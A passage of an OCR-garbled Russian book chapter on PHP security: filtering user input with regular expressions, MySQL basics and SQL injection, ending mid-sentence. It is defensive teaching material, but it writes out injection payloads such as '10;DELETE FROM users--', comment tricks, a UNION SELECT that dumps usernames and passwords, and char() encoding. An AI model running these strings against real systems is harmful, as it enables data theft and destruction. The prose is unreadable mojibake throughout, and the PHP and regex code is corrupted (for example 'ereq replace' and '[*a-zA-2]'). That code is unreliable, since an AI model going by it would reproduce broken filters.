Sstr=ereg_replace("[*a-zA-2]", "", $str);

B naHHOM BBIpaXeHMM MbI 3anpeiaeM Bee, Kpome OyKB oT A 10 Z B HUKHEM
M BepxHeM perucrpe. Takum oGpa3oM, He HYXHO MepeyucaTh 3anpelieHHble
CHMBOJIBI M MOJIMTHCH, YTO Mbl HUYEro He 3abbliu.

O Tlon — MOXeT MpPUHUMATH OIHO M3 3HAUYEHUH — MYKCKOW WJIN XeHckuil. Bee
ocTalIbHOE JO/DKHO BecrioutanHo obpesarbes. Yalle Bcero noJi CoOKpamalor 1o
onHou Oyksbl M uau K, nostoMy peryisipHOe BBIP@XEHHE MOXET BhINISIETh
ClIeyIOLUM 00pasoM:

$str=ereq replace("[*MK]", "", $str);

B peayabrate Bce CUMBOJIBI, KpOME YKa3aHHBIX ABYX OykB, OyayT yaansTbes U3
napamerpa.

O Mara poxaeHus — ROKHO obpesaThesi Bce, Kpome HHGpP U cCUMBONA TOYKH,
KOTOpas UCNONb3yeTcs Ul pasieleHus YMcia, Mecdala 1 rona.

S$str=ereg_replace("[*0-9.]", "", Sstr);

i | Boapacr — 39TO YHCIO, a4 3HAYMUT, B HEM HE IOJEKHO ObITh HHUYEro, Kpome
umndp:
$str=ereg_replace(" [*0-9]", "", S$str);

O IpuMeyaHue — 3TO camas CJIOXHAs [epeMeHHas, NIOTOMY 4TO OHA MpeacTaB-
JsieT cobol TeKCT, KOTOpbl MOXET BBECTH Moab3oBaresb. Kak MHHHMYM,
37ech BbI IOJDKHBI 3aNPETHTh J1I00bIe Tern:

S$str=ereg_replace("<[A-Z]1(1,}>", "", S$str);

BMmecTo Teros Jiyyiie Mo3BOJMTH MNOIb30OBATENO MpUMeHsTh bbcode. Hanpumep,
JUISl BbUIENIEHHMS YYacTKa TEKCTA XMPHLIM LIPUGTOM MoJib30BaTENb AOKEH Oyaer
yKa3aTh B ctpoke "bb" Ter (bl. A yxe B PHP-cuenapuu Bhl Oynere 3aMeHSITh Ter
[b] HA <B>.

C 3ameHO#t [b] HA <B> HYXHO OLITb O4YeHb OCTOPOXHBIM. Henb3st npocto MeHsATh
CUMBOJNBI [ M ] HA < U > cooTBeTcTBeHHO. Torjaa xakep cMOXeT Hanucarb TEKCT
[SCRIPT], KOTOPBIH MpeBpaTuTesl B <SCRIPT>. [louck 1 3aMeHy HYXXHO MPOU3B0-
JIUTh TIO TIOTHOMY WMEHH Tera, T. €. [b] J0JIKHO MEHSThCH Ha <B>.

Teneps MOroBOpMM O TOM, KOIa HY)XHO TPOM3BOAMTL TMPOBEPKY MapamMeTpoB.
Ha aror Bonpoc s Bcerjga oTBedalo — B caMoM Hadasie daitna cueHapus. Omnbka
MHOI'MX NPOrpaMMHCTOB COCTOMT B TOM, YTO OHM YOUpPAIOT AMIIHHME CHMBOIBI
TONBKO B MOMEHT ucrofb3opaHus. Ho onHa nepeMeHHasi MOXET BCTpeYarhes
B CLIEHAPHM HECKOJIBbKO pa3, U OUYEHb Y4CTO B OJHOM MECTE MpPOrpaMMHUCT OUMLIa-
eT MEPeMEHHYIO OT ONACHBIX CMMBOJIOB, a B JIpyroM 3abbiBaer 3to caenarb. Yrobel
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TAKOro Hé NpoH30LII0, s BCeraa o4vydilalo repeMeHHbIC OT JHUIHWX CUMBOJIOB
B caMoM Hauaje cueHapus. To ectb MO cUeHapHil BBINSALMT CHSAYIOWMM 00-
pasoM:

<?php

YBupaeM NOTEeHUMAJILHO CNacHEe CUMBOJH M3 BCEX MNepeMeHHRX,

MonyuyeHHRX OT NOJIbBOBATENA

Kon cueHapus

>

Jlnsi Toro 4to6Bl OYMCTHTH MApaMeTphbl OT BCETO OMACHOTO, S MUCIONB3YI0 TMpH-
MEPHO CAeAYIOLUHUIA KO

$param = preg_replace ("PerynapHoe BupaxexHue", "", Sparam);

B nmanHOM ciyyae $param — 3TO UMS MEPEMEHHOI, KOTOPYIO HYXHO O4YH-
CTUTh OT OMACHBIX CHUMBOJIOB. PerynsipHoe BhIpaXeHWe 3aBUCHT OT THNA fe-
peMeHHON M cojaepXauuxcs 3HAYeHUI, a B KaYecTBe 3aMeHbl BBICTYMAET nyc-
tasg crpoka. s 4acTo MCMONb3yeMBIX PEry/sipHBIX BBIPAXEHHH s CO3/aK0
OT/eNbHYIO (GYHKIIHIO, @ HEe BbI3bIBAI0 (DYHKUUIO preg_replace () HaNpaMyio,
Hanpumep, Tax:

function prepare_param|$param)
{
return ereg_replace("[(*0-9.]", "', Sparam);

}

Sname = prepare_param($name) ;

Mpl ente He pas GymneM MCnosb30BaTh MOA0OGHBIN BHI MPOBEPKHU, MOTOMY YTO OH
NO3BOJISIET JIy4llle YTPaBisiTh OAMHAKOBLIMM WAaOMOHAMYM U MHOTHX NEpeMeH-
HeixX. Jonycrum, Ha dopme BBoga MOXeT OBITH TPH MO, AAHHBIE KOTOPBIX
JOJKHBl YIOBJIETBOPATh OINpelaeneHHOMY TpeGoBaHHIO (HampuMmep, COAEPXarhb
TONbKO OYKBBI). Ec/iM B KO[e TPMXKAbl MUCATH OJHO U TO XE€ peryjsipHoe BbIpa-
KeHHe, TO B cliyyae HeoOXOAMMOCTH MOAEPHU3HPOBATh ero HyXHo Oyler MCKaTh
KaX0€ €ro BXOXIEHHE C IMOCHCAYIOIIHM HiMeHeHneM. B ciyuae uenoib3oBaHus
(YHKUMM Bbl MOXETe JIerko HapalliMBaTh ¥ M3MEHSTh €€ BO3MOXHOCTH, a BCE
W3MeHeHMs1 OyAyT BAMSITH HA BCE MEPEMEHHbIE, KOTOpbIE MMPOBEPSIOTCS AAHHOMH
dyHKuMeH.

[Ipu mcrnonb3oBaHWM UEHTpaIM30BaHHON (B Havane aitna) nposepku mapamer-
poB MOXHO oboifTHch U 6e3 dyHKIMI, HO WHOrIA (PYHKUMM NEUCTBUTENBHO YII-
pOLLAIOT CONPOBOXIEHWE BaLlei Mporpammal.
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3.8. ba3sbl gaHHbIX

Basni JaHHBIX B 3TOH KHWIre MbI paccMarpuBaeM HOoCTATOYHO MOBEPXHOCTHO, HO
COBCEM MTHOPUPOBATH MX HeBoamoxHO. HenpasunbHoe obpaieHne ¢ 3anpocaMu
MOXET MPUBECTH K rorepe 6asbl JaHHBIX MIJIN A@Xe KOHTpOJsi Han caiitom. Yaiue
Bcero npobiema Kpoercsi B HENMPaBUIBHOM MOMYYEHHH AAHHBIX OT NMOJB30BATENA,
a TouHee, MOJMYYEHMHM B3TUX OaHHbLIX Ge3 mpoBepku KoppekrtHocTH. Ho nasaiite
obcyauM Bce I10 NMOPSUIKY, CHayala paccMOTPUM NpHHUMN paborhl ¢ Gazamu
B PHP, a notom yxke noroBopum o6 ys13BUMOCTSX.

3.8.1. OcHoBbl 633 faHHbIX

Paccmotpum npocteitiuuii npumep pabotel ¢ 6a3oit gaHHBIX:
<?php
if (mysql_connect("localhost", "username", "password")==0)
die("Can't connect to Database Server");
mysgl_select_db("database");

Sresult=mysql_qguery("SELECT * FROM table");

Srows=mysql_num_rows (Sresult) ;
print(Srows) ;

mysgl_close();

?>

Ceprep 0a3bl NJaHHBIX — 3TO OTAE/IbHAs TporpaMma, Kotopas paboraer He3aBu-
cumo ot Web-cepBepa u tpedyer nonkioueHus. [is roakioueHns HCnoJib3yer-
csi hyHKIMS mysql_connect (), KOTOPOil HeOOXoAMMO MNepenaTb TPU Mapamerpa:
ajpec cepsepa, MMs [ojb3opatens v napoas. Ecmm Baimn cepsep 6asbl HaHHBIX
HAaXOIUTCSl HA TOM Xe KommbloTepe, uto 1 Web-cepgep, To BMecTo anpeca MOXHO
ykasarb localhost.

PaccMotpenue ©GesomacHocTH cepBepoB 06a3 HaHHBIX BBIXOAMT 338 PaMKH 3TOit
KHHUTH, HO fi 1aM HECKOJIbKO peKOMeHIalnii oTHocuTenbHO cepsepa MySQL:

O MySQL MoxHO HAacTpoMTh Tak, YTOOBl K HEMY MOT HMOJKIIOYATECS TOMbKO JIO-
KabHBIH KOMIBIOTEP, a yAaIeHHOe NomkiIoyeHue Obulo 3anpeliieHo. bea oco-
6oil HeOOXONMMOCTH HE M03BOJISITE YCTAHABIMBATE YAANEHHOE MOIKITIOYEHHE.

O Eciu yoaneHHoe MOAKIIOYEHME UIS yrpasiieHus 6asamu JaHHBIX HeoOXomH-
MO, TO 003aTe/IbHO 3alIMTUTE €ro ¢ [OMOULBI0 CEeTeBOro dKpaHa, paspelluB
MOAKIIOYEHHE TOJBKO ¢ onpeneieHHbX |P-anpecos uiryu U3 BHYTPEHHER ceTH,
HO He 13 UHTepHera.
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O Tlo ymonuaHuio, cpasy Mocie 3aBeplieHus npouenypbl yCTAHOBKH, HA cepeepe
MySQL st noakmoYeHHs ¢ npaBaMu aAMUHUCTPATOpa UCIOJB3YIOTCS Yuer-
Has 3anmuch root ¥ MycToil maponb. 9rta 3anuch HE CBA3AHA C CUCTEMHOW 3a-
nucblo OC Linux ¥ npuHawIexXuT cepsepy 0a3 gaHHbIX. Obs3aTeNbHO H3M2-
HUTE MApoNib W 3aNaliTe MAKCUMATBHO CIOXHBIA, 4TobGbl crenarh noadop 1o
C/IOBAPI0 HEBO3MOXKHBIM, 4 MOJTHBIH Mepebop 10CTaTOYHO TPYIOEMKUM.

[Mocne coennHeHust ¢ cepeepoM Heobxoanmo BeIGpaTh 6asy, ¢ KoTropoi Bbl Oynere
paborarb, moromy 4ro B MySQL ux moxer Obith Gomee omHoi. [nsi 3t0ro
ucnosbayercs GyHKIMSA mysql_select_db(), KOTOPOil MepenaeTcsi UMsi MHTEpe-
cyloleil sac 6asnl maHHbx. Teneps MoxHo BeinonHaTs SQL-3anpockt K Tabiu-
uam suibpaHHON Gassl.

Jist nonyuyeHusl aHHBIX U3 TAGMUI HCTONB3YeTCs (PYHKUMS mysgl_query (), KO-
TOPO HYXHO IMepenaTh CTpokKy, conepxauiyio texer SQL-3anpoca. Eciu Bbinon-
HSAETCs 3anpoc SELECT, TO (DYHKIIHS BO3BpallaeT pesynbTUpylomwnit Habop nax-
HBIX, COOTBETCTBYIOIIMX 3amaHHBIM ycioBusiM. Ecim Bel He paGoranu ¢ SQL-
3anpocaMu, TO B npuaoyceruu | BbI MOXeTe MO3HAKOMUTHCS C OCHOBAMHU 3TOr0
SI3BIKA.

Yrobpl onpenenuTh KOJIWYECTBO CTPOK, KOTOpbie BO3BpaTHIA mysgl_query (),
MOXHO WCIOB30BaTh (PYHKINIO mysgl_num rows (). Eif HyXHo mepenars nepe-
MEHHYIO, B KOTOpOﬁ Bbl COXpAHWJIH pGBYJIhTHpYIOULHﬁ Haﬁop JIAHHBIX, 4 OHA BO3-
BPATHT KOJIMYECTBO CTPOK B 3TOM Habope.

[To okonyaHum paGorbl ¢ 6a30i HAHHBIX PEKOMEHIYETCsI KOPPEKTHO 3aBepliTh
coeiuHeHue ¢ cepsepoM Ga3 maHHeIX. [lia aToro ucnonbdyercss QyHKIHs
* mysgl_close(). Eciim He BbI3BaTh 3Ty YHKUMWIO, COGAMHEHUE MOXET OCTATHCS
4KTHBHBIM, YTo Ypepato mnpobiemamu. Hanpumep, HeKOTOpble XOCTHHTOBEIE
KOMIMAaHHH Ha JelleBbIX Tapu(HLIX MJIaHax OrpaHHYUBAIOT KOJHYECTBO OIHOBpE-
MEHHBIX COEIMHEHMIi ¢ cepsepoM 0a3 aaHHBIX. EclM HecKoJbKO IMoJb30BaTeNeiH
OCTaBAT OTKPHITOE coeauHeHue, ceppep 0a3 NaHHBIX NepecTaHeT oTBevyaTh M3-3a
TAKOro OrpaHHYeHUs], U CAUT OKAXETCH HENLOCTYITHLIM.

INpocMoTpeTs 3aucH pe3yibTHPYIOLero Habopa MOXHO ¢ TOMOLUBIO BYHKIHHA
mysql_fetch_row(). Jdonyctum, yro pesynstar SQL-3anpoca cocToUT M3 ABYX
KOJIOHOK — HeHTHdUKaTopa W MMeHW. B 3TOM ciyyae mpocMoTp Beex samuceil
MOKET BBIIJISIIETh CASAYIOLIMM 00pasoM:
while (list($id, $name) = mysqgl_fetch row($result))
{

print("$id - $name");
}

Ha sroMm 3aKoHYHMM paccMOTpEHHE OCHOB U nepeitaeM K Gonee rnybokomy pazbo-
py Ge3zonacHoctH paboThl ¢ cepBepoM 6a3 TaHHBLIX.
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3.8.2. Araka SQL Injection

Camas pacrnpocTpaHeHHasi araka xakepa Ha 6asy mauubix — SQL Injection, npu
KoTopoii xaxkep scrasisier SQL-3anpock B ctpoky URL Bmecto onpenenenuoro
napaMerpa, ¥ nporpaMma BLIMOJHSAET 3ToT 3anpoc. Eciii 310yMBIIUIEHHHK CMO-
ket BbimonHATh, SQL-KoMaHnel Ha cepsepe, eMy IOCTATOMHO OyaeT ysHaTh MM
TabauL, UMEIIHXCsl B 6a3e MaHHBIX, YTOOLI YHUYTOXUTh BCe JAHHbIE KOMAaHIOMH:

DELETE
FROM WMwma_Tabrmust

Jlng nmoHMMaHus MNOCHEyIoIero marepuana BaM HeobXoIuMO 3HaTh OCHOBBI
s3bika 3anpocoB SQL-92, noroMy YTO 3TO OCHOBHOI CrMOCOBH NOCTYNA K JaHHBIM.

JasaiiTe paccMOTpPMM, Kak Xxakepsl ripoussomsit ataky SQL Injection, 1. e. xak
OHM MILYT MoAoBHYI0 yA3BMMOCTbL HAa cepBepe, M KaK oHa peanusyercs. Jlomyc-
THM, UYTO y Bac ecTb Tabnuua nons3osareneit Users, coctosinas W3 Tpex roJeii:
"id", "name", "password”. 3anpoc Ha BBIGOPKY AAHHBIX MOXET MMEThb CJIELYIO-
WM BUI:

SELECT *
FROM Users
WHERE id = $id

B nanHom 3anpoce nose "id" cpaBHHBaercs co 3HaueHueM repemeHHoi. Ecium
374 NepeMeHHas nmojyyeHa kak napamerp cueHapus uepes URL win cookie, u e
NPOMCXOAUT HUKAKUX IMPOBEPOK HA 3aNpelleHHble CUMBOJLI, TO 3allpoC YS3BHM.
HauHeM c npocTeiiliero npumepa Toro, Kak Xakep Moxer Moauduimposars 3a-
npoc. Baw cuenapuii uileT B TA0AMIIE CTPOKY C MapamMeTpamu T0Jb30BaTess Mo
ee uaeHTHGHUKATOPY. A eciH Mepelarh B KauyecTBe MMEepeMeHHOo $id cleayrommii
TEKCT — 10 OR name="Amauucrparop", TO 3aNpoc OYIET BIIJISLIETh YXe TaK:

SELECT *
FROM Users
WHERE id = 10 OR name="Ammuucrparop”

DT0T 3anpoc MOKAXKET YK€ He TONLKO 3anKchk, B KoTopoil nosie "id"” pasuo 10, HO
M 3aIUCh, B KOTOPOH MMs 1M0Jib30BaTe/sl paBHO "Ammmuucrparop”. Takum obpa-
30M, XaKep CMOXET YBHIETb Mapoib aAMHHUCTPATOPA W MONYHMWUTH MOCTYN K 3a-
NpelleHHbIM JaHHBIM. YTOObl 3TOro He TMPOM3OLI0, Bbl JAOJDKHBI YETKO Mpei-
CTABNATH cebe, KaKue AaHHbIe XpaHsaTcsa B Tabauile, M Mo3BONSATH MOJL30BATENAM
TiepeaBaTh B Ka4yeCTBE MapaMeTpa TOJNBKO Te JaHHbie, KoTopsie paspelmieHbl. Ha-
npumep, none "id" — 310 wKMcnOBOE Moje, a 3HAYMT, B MEPEMEHHOI He MOXeT
ObITE HUuero, KpoMe uHdp or 0 10 9. INepeMeHHYIO $name MOXHO 06paborarh,
KakK 1TOKa3aHo B CAeNYIOleM MpHMEpEe:

<form action="dbl.php" method="get">
<input name="id">
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</form>

<?php
$id=preg_replace("/[~0-9]/™, "", $id):
print('SELECT * FROM Users WHERE id='.$id);

>

CoxpaHure 3TOT Kol Ha cepsepe B (aitne dbl.php u nmonpobyiite 3arpysurb ero
B Web-6paysep. Ilepen Bamu nomxHa mosBUThCs (opMa Uil BBOJA WAEHTHU-
tuxaropa, no koropomy Oymer npoucxoiuTh nouck. [Monpobyiite BBecTH B Hee
10 OR name="AmummHucrparop" W MNEpelaTh cepBepy. Cuenapuﬁ, MNoJIyYHB JaH-
HbIe, BBIMOJIHUT CHaYaIa cIeAyIOLYIO CTPOKY:

$id=preg_replace("/[*0-9]/", "", $id);

3nech Mbl 3aMEHSIEM B NepeMeHHOH $id Bce CMMBOJIbI, KOTOPBIE HE SIBSIOTCS
unudpamu ot 0 no 9, Ha nyctoit cumsos. Tlocie 3TOro or CTPOKH, KOTOPYIO Bbl
nepeflaBaiv cepBepy, ocTaHeTcs TOMbKO 4Mcio 10, a Bce NOMONHUTENBHBIE CHM-
BOJIBI OyIyT yaaneHsl.

Co cTpokaMu HYXKHO MOCTynarth Tak xe. JomycTum, YTO MOMCK MPOUCXOAMT 10
nomio "name”. Kak no6utscs, yrobbl Xakep He CMOI BBECTH HEIOIMYCTHMBbIH CHMBOJ
v B3joMaTh 6asy JaHHbBIX? B cTpokax MoryT Mcronb3oBarscsi OyKBbl U MHOLIA NPo-
Gesibl, ec/iM B MOJIE MOXET ObITh TEKCT U3 HECKOJILKMX CIIOB, MTO3TOMY KO/ Moayye-
HH{s NapameTpa oT NoJIb30BaTeNls N0JDKeH BBIIUISLIETh ciefyounM obpasoMm:;
<form action="db2.php" method="get">

<input name="name">
</form>

<?php
$name=preg_replace("/[“a-zA-20-9 ]/i",
"*, Sname);
print('SELECT * FROM Users WHERE name='.S$name) ;

7>

B sTOM npuMepe Mbl 3aMeHsIeM Ha MyCTOH CHMMBOJI BCE, MTO HE OTHOCHTCH K GyK-
BaM, undpam uian npobenam. Takum oOpasoM, CHMBOJILI ABOHHONW WIK oauHap-
HOif KaBbIYKM OYIyT 3anpeulieHbl, U €C/M Xakep [OMNbITaeTCs MEepelarb CTPOKY:
10 OR name="AmmuHucrparop", TO B PE3YyJbTATE€ B 3aIpoC IONMALET TOJbKO
10 OR name=AmmuHucTpaTop, a 3TO yXKe OolUbKa, U TaKoif 3anpoc He OyaeT Bbi-
TIOJNHEH.

Ecnu Bbl yBEpEeHBI, YTO 110JIe HE MOXKET COIEPXKATh TEKCT M3 HECKOJIBKHMX CJIOB, TO
JIyYLlI€ 3aMPETUTh MOJIB30BATENIO MEPEIABATh CLIEHAPUIO NPOOETHI.

PeryasipHoe BhIpaxeHue "/[*a-zA-2z0-9 ]/i" sanpeuiaer JiobObie creuuantbHble
CHMBOJIBI, HO MHOIAa OHM ObiBalOT HeobXxonumsel. Hanpumep, B none moryr ObITh
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CHUMBOJIBL [ WK ], U Bbl COYTETE HYXHbBIM PAspPeIlUTL MONbB30OBATE/IO [MepelaBaTh
ux. Ma, aro BnonHe GezobumHo wiss SQL-3anpoca, HO He Bce CHMMBOJBI CTOJb
6e3omacHs!. [lapaiite paccMOTPHM, YTO HUKOTIA Heb3s paspellarh:

a

o

OnuHapHble U BoliHbIe KaBbIYKH. Takue CUMBOJIBI MCIONL3YIOTCS B 3aMpocax
JUISl BBIAEJICHMSA.

3nak paseHctBa. Paccmorpum npumep. [onyetum, uro B Tabiuie ecTh [Ba

yncnosbix mons "id" u "age", u 3anpoc Ha BeIGOPKY NAHHBIX BBHINISUINT TaK:
SELECT * FROM Users WHERE id='.$id
Ecnu xakep NoOMeCTHT B MepeMeHHYI0 $id CTPOKY 10 OR age=20, M NIPH 3TOM

paspetieHsl npobesbl U 3HAK paBeHCTBa, TO 3anpoc K Oaze NaHHBIX NpeBpa-
TUTCSl B CHEIYIOLLINIA:

SELECT * FROM Users WHERE id=10 OR age=20

Ecnm xe cumBos paseHcTBa 3anpelieH, To 3anpoc Oyaer Takum:

SELECT * FROM Users WHERE id=10 OR age20

Oro yxe owunbka, U cepsep 6a3 JaHHLIX HE CMOXET BBIMOJHWTH 3arnpoc,
a 3HAYUT, XaKep HE YBUIMT HYXHbIX eMy JaHHbIX.

Ipa tape noapsn. B szsike SQL nBa TMpe 03HAYal0T KOMMEHTapHil, W Xakep
TakuMm oOpasoM MOXET M3MEHWTb JIOTMKY 3anpoca. Hanpumep, y Bac ectb
3arnpoc:

SELECT * FROM Users WHERE name=$name AND id=$id

Tenepb npeacTaBuM, YTO B MEPEMEHHYIO $name XaKep MOMECTUNI TEKCT:
AmmHucTRaToOp--

B aToM cayvae 3anpoc MaMEHMTCS HA CAEAYIOLIMIL:;

SELECT * FRCM Users WHERE name= AmwnucTparop—- RAND id=$id

Bce, uto HaxomuTcs nocie ABOIHOTO THpPE, — KOMMEHTAPHIl, MO3TOMY CepBep
BBIMTOJIHMT TOJIBKO 3aNpoc:

SELECT * FROM Users WHERE name= AnMMHMCTPaTOR

Takum obpaszoM, xakep cMOXET OTOPOCHTH HEHYXXHBIE €My AONOJHWUTENbHbIE
TIPOBEPKHU U MONYYUTh Gonblie JaHHbIX, YeM HeoOXOoaMMO.

Touka ¢ 3ansaToil. DTOT CUMBOJ HCIONB3YETCs LIS pasiae/ieHHs 3apocoB Me-
Xy coboi. Cepep MOXET BBIMOJIHATL HECKOJbKO HEHCTBMH OAHHM 3anpo-
COM, M OHM AOJXKHBI ObITh pasjeneHbl Toukoil ¢ 3ansrtoi. Kak 310 Moxer uc-
noJjib3oBarh Xakep? PaccMoTpUM nmpuMep 3arnpoca:

SELECT * FROM Users WHERE id=$id
Tenepb MpencTaBuM, 4YTO XaKEP NMOMECTHIT B MEPEMEHHYIO $id TEKCT.
10;DELETE FROM users
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Takum obpasom, cepsepy Oyner HanpasieHa CIenyonas cTPoKa ¢ 3arpocoM:
SELECT * FROM Users WHERE id=10;DELETE FROM users

B orBer Ha 3710 cepsep 0asbl JAHHBIX BBIMOJIHMT [ABA OTAENBHBIX 3arpoca:
SELECT * FROM Users WHERE id=10 ¥ DELETE FROM users, T. €. cHayajua u3
tTabnuusl OyayT BbIOpaHbl JaHHBIE, a yxe norom Tabauua Oyaer ovMILEeHA.
Hekotopsie nporpaMMHETbl CHUTAIOT, YTO €CNY 3aMpoc CIOXKEeH, TO Xakep He
CMOXET BCTABUTH B HEro ellle onuH sanpoc. Hanpumep:

SELECT * FROM Users WHERE id=$id AND name='MBau'

B 3tom 3anpoce €cTh JOMNOMHMUTENBHOE YCIOBHE AND name='Wsan', HO €ro
JIETKO OTOPOCHTh, €C/IM MepelaTb B KAYecTBe MepeMeHHoM $id caeaylonimi
TEKCT.

10;DELETE FROM users--

Ceppepy 6yaer HanpasieH cieAylowuit 3anpoc:
SELECT * FROM Users WHERE id=10;DELETE FROM users-- AND name='MsaH'

IMonyyaercst, 4TO JOMONHUTENbHAA NpOBEpKa OyneT npocTo oTdpolueHa.

0O 3anpeliaiiTe CMMBOJIbI KOMMEHTAPUEB, T. €. IBoiHOe THpe U /*. Kak Mbl BU-
nenu paHee, ¢ MNOMOLUBIO KOMMEHTAPUEB 3JIOYMBILLUIEHHHK MOXeET oTOpocHTh
HEHYXHYIO 4acTh 3anpoca. KoMMmeHTapuil ¢ ABOWHBIM THpe MBI yXe obcvin-
JH, fasaifte paccMoTpuM /*. Bce, uTo HammMcaHo MEXIY CHUMBOAAMU /* W */,
CUMTAETCSl KOMMEHTApMEeM, HO MPH 3TOM HAJIUYME 3aKPBITHS KOMMEHTAPUS
(*/) ne asnsercst obs3arenbHbIM). [TocMoTpuM Ha creaylouMii 3ampoc:

SELECT * FROM Users WHERE id=10;DELETE FROM users/* AND name='lBan'

[TocneaHee ycnoBue AND name='Weaun' Oyaer oTOpOLIEHO, MOTOMY HTO OHO
WIAET Mocjie Hayajia KoMMeHTapus /=, HCCMOTD}I HAa TO, YTO CHMMBOJIOB 3dKpsl-
THSI KOMMEHTapus (*/) B 3amnpoce Her, cepsep 6aszbl JaHHBIX OyaerT nompaszy-
MEBATb, YTO 3AaKOMMEHTHPOBAH BECh KO 10 KOHLA 3arpoca.

Ec/u IBOITHOE THpE JeNaeT KOMMEHTApHeM BCE JI0 KOHLA CTPOKHM, TO CHMBO-
bl /* W */ NMO3IBOJAOT CO314Th MHOTOCTquHhIﬁ KOMMCHT&pHﬁ. JIOI'IYCTHM,
YTO ¥y Bac ecThb 3arpoc.

SELECT *

FROM Users
WHERE id=10

AND name='}saH'

B nanHom ClIy4ae noapasyMeBaeTcs, YTo 3ampoc COCTOMUT M3 HECKOJIBKHX CTPOK,
M Yy Hero UMeHHO Takoil Bua. Ecnu XdKep CMOr CKOMIIPOMETHPOBAaTh 3HAYEHHE
napamerpa id M BCTaBUTh CBOI{ Koll, TO 3anpoc 5)’11€T BBRIMIANETD TAK:

SELECT *

FROM Users
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WHERE id=10;DELETE FROM users --
AND name='Usan'

HecMoTpsi Ha To, YTO Xakep BHEAPWJI CUMBOJIbI HAYANa KOMMEHTAPHSA B KOHEIl
TpeThel CTPOKM, YeTBepTas crpoka He Oyner kommenTapuem. Ho cimenyiouinii
3aMpoc MO3BOAAET 3AKOMMEHTHPOBATL BECh KOl MOCHE /*, BHE 3aBHCHMOCTH
OT Hayajla ¥ KOHLA CTPOK:

SELECT *
FROM Users
WHERE id=10;DELETE FROM users /*

AND name='Ksan'

Teneps nocneaHssi crpoka OyaeT BOCNPHHUMATBCS cepsepoM 6a3 AaHHBIX
WMEHHO KaK KOMMEHTApHii.

O Ecnu mone MoXeT comepXaTh CIUIIKOM OoJiblloe KOAUYECTBO MepevucieH-
HBIX BBIIIE CHNEeUHATbHBIX CHMBOJIOB, TO § PEKOMEHIYIO 3alpeTHTL €HIE U
MMeHa OCHOBHBIX oneparopoB SQL: insert, update, delete, or, and U T. /1.
[TepBbie TpH M3 HUX MOXHO 3arpeliars IS BCeX MepeMeHHBbIX, KOTophle pa-
60Tal0T ¢ TEKCTOBBIMM [OJISIMH. an 3TOM Bbl JONKHBI ObITh YBEPEHBI, YTO
nojie B Taﬁnuu.e HE MOXET COIEPXKAThH TCKCT C TAKUMH CJHOBAMKU MK [MOJBE30-
BaTelb HE HYXIaercs B 3TUX cumBosiax. Hanpumep, creayiomuii 3anpoc 3a-
TIpellaeT NPUMEHEHHE HE TOJbKO BCEX CHeUMATbHBIX CHMBOJIOB, HO I OCHOB-
HBIX onepatopoB SQL:

<?php
$name=preg_replace("/["a-zA-20-9 ] |insert|delete|update/i",
""", Sname);
print('SELECT * FROM Users WHERE name='.$name) ;
=

O Ocoboe 3HayeHue B si3bike SQL MMeeT KIOMeBOe C/IOBO UNION, KOTOpoe Io-
3BoJIsieT oOBeNMHUTH Ba 3anpoca B oauH. Jdonyerum, 4To y Bac ecTh 3anpoc
Ha BbIDOPKY MMEH Mo/ib3oBaresiedl U naponieit U3 Tadbaniisi:

SELECT mms, napoJis

FROM ratmua

WHERE id=$id

3agaua xakepa — cJ/le1aTh 3anpoc owuboYHbIM, YToObI €ro TeKeT oTobpasuiics
Ha skpaHe. [locne aroro nepemMeHHas $id MoxeT GBITh MoaMpuIMpoBaHA TAK,
YTO 3aMpoc MPUMET CIIEAYIOIINIH BUIL

SELECT mm#A, fapone

FROM raBmuua

WHERE id=1
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UNION
SELECT mmsa, nNapomns
FROM Tamaua

B aToM mpumepe BBIMONHSIIOTCS IBA 3arpoca, HO Bbl BHAMTE eAMHLIH peyih-
tar. M3navyanbHo Koa BO3BPAILA TONLKO ONHY CTPOKY C UMEHEM Mo/b30BaTe-
JIsl W mapoJieM, HO MbI BCTABMJIM MMOC/I€ UNION HOBBII KO 3ampoca, KOTOphiif
BBIBOOUT TAbAULLY MOJHOCTBIO, M XaKep CMOXET YBUIeTh MOJMHYI0 6a3y JaHHBIX
nonb3oBaresnei caira.

Yro6el 3anpoc ObL1 BEPHBIM M BBIMOTHMICH, oba oneparopa SELECT IOJIKHBI
BO3BpAalllaTh OAWHAKOBOE KOJIMYECTBO KOJOHOK, 4 WISl HEKOTOphIX 6a3 AaHHBIX
HeoOXoNMMO COBIaJeHHe W TUIIOB Mojeif, HO MocjeaHee JIerkKo peann3yercs
¢ noMolbl (hyHKIUA npuBeaeHus THIoB. s Toro YToObl BHIMOMHHTL 0b6a
YCJIOBMSI B 3ampoce, MOACTABISAEMOM Ilocie KIIOYEBOro cjoBa UNION, Xakepy
HYXXHO BHJIETh HCXOIHBIN 3aMpoc, KOTOPhIil OH KOPPEeKTHPYET.

0O Kpyrsie ckobku B SQL-3anmpocax MMEIOT JOCTATOYHO LIMPOKOe NpUMEHEHHE,
HO caMmoe CTPAalliHoe — 3TH CHMBOJIBI MCMONL3YIOTCS B (DYHKUMAX JUIS 3a0aHis
napamerpoB. Ecim Bel 3anperwsiiv Bce CHMBOJIbI, OIIMCAHHbBIE BbIlIE, HO pa3-
peLIMIN Kpyr/ibie CKoOKM, TO CMbIC/Ia B Balleil 3auiuTe HUKaKoro Her. Xakep
MOXET BOCIOIB30BATBCS CHELHATbHBIMU (DYHKUMSMH, KOTOPBIE MO3BOMSIOT
BCTABMTH B 3anpoc HeoOGxoaumbiil cumBon. B 6ase ganHbix MS SQL Server (na
M B HEKOTOPBIX APYTHX) ecTh (PyHKLMS char (), KOTOPOH HYXHO MEpeiarsh Ko
Heobxonumoro cumsona, ytoObl OHa Bo3BpaTHiIa caMm cumBoi. Hanmpuwmep,
KOHLLy cTpoKH coorsercTByerT Kox 0x13, a kaBeluke coorsercTByer Kom 0x27.
3HayMT, 4TOGBI BCTABUTH 3TOT CHMBOJ B 3aMpOC, MOXHO HAMHCATD:

none=char (0x13) +3saueHue+char (0x27)

Takum oOpa3om, ecnu paspelieHbl Kpyrias ckobka M (hyHKUMsl char(), TO
MOXHO CYMTATh, YTO paspeileHo abconioTHo Bee. MDYHKIMIO char () MOXHO
(naxe HYXHO) Taxke (GHIBTPOBATE ¢ MTOMOIUBIO PETYISPHBIX BhIPAKEHMNH:
<?php
$name=preg_replace("/["a-zA-20-9 ]|char/i",
"*, S$name) ;
print ('SELECT * FROM Users WHERE name='. Sname) ;

™

O Yrobsl yCIOXHUTE B3TOMIIMKAM TIOMCK OLIKMOOK B 3ampoce, MOXHO 3alpeTHTh
